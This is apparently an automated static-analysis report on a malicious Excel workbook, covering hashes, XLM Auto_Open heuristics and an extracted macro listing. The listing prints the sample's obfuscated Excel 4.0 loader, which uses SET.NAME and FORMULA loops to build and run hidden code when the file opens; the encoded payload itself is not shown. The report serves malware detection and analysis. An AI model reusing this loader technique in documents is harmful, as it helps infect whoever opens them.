Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec5d763ee2c1844e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:36:29 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 3aa3a8fd2ce2abfdcf5324cf7ac56a51 SHA-1: 25f15718bfceee86feb9962712d1064fd8bb074b SHA-256: ec5d763ee2c1844e53e4972fcfc0e47507bbd93d8bc397a781228742eb63c386
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6659 bytes
SHA-256: 62221c39ee0f9baa5b7ba404afd9591891a8a4ae2121036f62fc6bed6b808a70
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XeBVqKdk
' 0018     25 LABEL : Cell Value, String Constant - AjQFHczErY len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A157 
' 0018     23 LABEL : Cell Value, String Constant - bhFcjQzj len=0 
' 0018     20 LABEL : Cell Value, String Constant - DHPvL len=0 
' 0018     27 LABEL : Cell Value, String Constant - EpZFUjeeklrE len=0 
' 0018     26 LABEL : Cell Value, String Constant - gTQnRKpOUxq len=0 
' 0018     26 LABEL : Cell Value, String Constant - iydasQJLgtP len=0 
' 0018     27 LABEL : Cell Value, String Constant - kCkZipKcXLQI len=0 
' 0018     22 LABEL : Cell Value, String Constant - kmcIoXa len=0 
' 0018     25 LABEL : Cell Value, String Constant - LtHEjspTUk len=0 
' 0018     22 LABEL : Cell Value, String Constant - oPNqSaC len=0 
' 0018     27 LABEL : Cell Value, String Constant - PBfKROqiOcaK len=0 
' 0018     24 LABEL : Cell Value, String Constant - qfUqiYGgM len=0 
' 0018     21 LABEL : Cell Value, String Constant - sLSgtQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - VdkAulMgDH len=0 
' 0018     20 LABEL : Cell Value, String Constant - WQBbp len=0 
' 0018     25 LABEL : Cell Value, String Constant - WvjPDBFhlU len=0 
' 0018     26 LABEL : Cell Value, String Constant - xFsTLrGwzxA len=0 
' 0018     26 LABEL : Cell Value, String Constant - XzOHHRkCMGI len=0 
' 0018     26 LABEL : Cell Value, String Constant - yjrssgxnRVV len=0 
' 0018     26 LABEL : Cell Value, String Constant - yMwFrqtaOQe len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XeBVqKdk,A76,"SET.NAME("iydasQJLgtP",VALUE("0"))",""
'  XeBVqKdk,A81,"SET.NAME("qfUqiYGgM",iydasQJLgtP)",""
'  XeBVqKdk,A86,"SET.NAME("VdkAulMgDH",iydasQJLgtP)",""
'  XeBVqKdk,A89,"SET.NAME("oPNqSaC",COUNTA(kCkZipKcXLQI))",""
'  XeBVqKdk,A92,"SET.NAME("XzOHHRkCMGI",COUNTA(xFsTLrGwzxA))",""
'  XeBVqKdk,A94,[],""
'  XeBVqKdk,A97,"SET.NAME("WQBbp","")",""
'  XeBVqKdk,A101,"qfUqiYGgM",""
'  XeBVqKdk,A103,"SET.NAME("bhFcjQzj",HLOOKUP("*",kCkZipKcXLQI,qfUqiYGgM,FALSE))",""
'  XeBVqKdk,A106,"PBfKROqiOcaK",""
'  XeBVqKdk,A110,"SET.NAME("EpZFUjeeklrE",iydasQJLgtP)",""
'  XeBVqKdk,A114,[],""
'  XeBVqKdk,A118,"EpZFUjeeklrE",""
'  XeBVqKdk,A121,"WvjPDBFhlU",""
'  XeBVqKdk,A124,"yMwFrqtaOQe",""
'  XeBVqKdk,A126,"kmcIoXa",""
'  XeBVqKdk,A129,"SET.NAME("yjrssgxnRVV",VALUE(HLOOKUP("*",xFsTLrGwzxA,kmcIoXa,FALSE)))",""
'  XeBVqKdk,A132,"DHPvL",""
'  XeBVqKdk,A135,"WQBbp",""
'  XeBVqKdk,A137,"VdkAulMgDH",""
'  XeBVqKdk,A139,NEXT(),""
'  XeBVqKdk,A144,"sLSgtQ",""
'  XeBVqKdk,A148,"SET.NAME("f",INT(T(FORMULA(T(WQBbp)&"",""&T(sLSgtQ)))))",""
'  XeBVqKdk,A150,"LtHEjspTUk",""
'  XeBVqKdk,A152,NEXT(),""
'  XeBVqKdk,A155,RETURN(),""
'  XeBVqKdk,A182,"SET.NAME("gTQnRKpOUxq",A76)",""
'  XeBVqKdk,A186,"kCkZipKcXLQI",""
'  XeBVqKdk,A189,"SET.NAME("xFsTLrGwzxA",R81C11)",""
'  XeBVqKdk,A191,"SET.NAME("LtHEjspTUk",197)",""
'  XeBVqKdk,A193,"SET.NAME("AjQFHczErY",1)",""
'  XeBVqKdk,A196,gTQnRKpOUxq(),""
'  XeBVqKdk,A197,HALT(),""